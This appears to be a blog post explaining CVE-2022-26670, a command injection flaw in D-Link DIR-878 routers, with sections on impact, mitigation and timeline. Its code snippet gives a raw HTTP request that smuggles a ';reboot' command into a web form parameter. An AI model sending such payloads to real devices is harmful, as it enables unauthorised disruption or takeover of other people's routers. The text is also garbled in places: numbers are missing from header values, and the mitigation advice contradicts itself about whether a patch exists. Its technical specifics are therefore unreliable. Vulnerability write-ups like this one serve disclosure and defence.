CVE-2022-26670 - D-Link DIR-878 Unauthenticated Command Injection Vulnerability Exploited

A newly discovered vulnerability in D-Link DIR-878 routers, identified as CVE-2022-26670, exposes users to potential attacks that can result in the execution of arbitrary system commands. This post provides an overview of the vulnerability, its impact, and possible exploitation techniques. Specifically, we will discuss how an unauthenticated LAN attacker can exploit the inadequate filtering of special characters in the DIR-878's webpage input field to gain control of the system or disrupt its services.

Vulnerability Details

The CVE-2022-26670 vulnerability affects D-Link DIR-878 routers, which lack proper filtering for special characters within the webpage input field. Without proper restrictions on user input, an attacker can inject malicious commands into the system, which the target device then executes. This type of attack, known as command injection, is particularly dangerous since it allows attackers to bypass authentication measures and execute harmful commands on the target system.

Exploit

A successful exploitation of this vulnerability can lead to the execution of unauthorized system commands. By injecting specially crafted inputs into the target system, an attacker can gain control over the router, compromise sensitive information, and disrupt its services. Although the attacker must be connected to the target's LAN, the exploit does not require any authentication.

Code Snippet

The following code snippet demonstrates a simple example of a command injection attack exploiting the CVE-2022-26670 vulnerability in D-Link DIR-878 routers. In this example, an attacker submits a malicious string containing special characters and arbitrary commands (;reboot) in the input field:

GET /apply_sec.cgi?sec_contents=;%3Breboot HTTP/1.1
Host: target_router_ip
User-Agent: Mozilla/5. (X11; Linux x86_64; rv:78.) Gecko/20100101 Firefox/78.
Accept: text/html,application/xhtml+xml,application/xml;q=.9,image/webp,*/*;q=.8
Accept-Language: en-US,en;q=.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://target_router_ip/
Upgrade-Insecure-Requests: 1

As a result of this injection, the target router would execute the reboot command, causing the device to restart.

Original References

1. CVE-2022-26670 Vulnerability Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26670
2. D-Link Security Advisory: https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10124

Mitigation

To protect against this vulnerability, users should ensure they have the latest firmware installed on their D-Link DIR-878 routers. As of now, no official patch or update has been released by D-Link. However, it is essential to monitor the manufacturer's security advisories for updates and guidance. Additionally, users should implement network security best practices, such as regularly updating router firmware, disabling remote management, and using strong authentication methods.

Conclusion

CVE-2022-26670 is a significant vulnerability in D-Link DIR-878 routers, allowing unauthenticated LAN-based attackers to execute arbitrary system commands through command injection. By exploiting the inadequate special character filtering in the input field, malicious actors can gain control over the router or disrupt its services. Users should monitor for security advisories and implement network security best practices to help secure their devices.

Timeline

Published on: 04/07/2022 19:15:00 UTC
Last modified on: 04/14/2022 18:37:00 UTC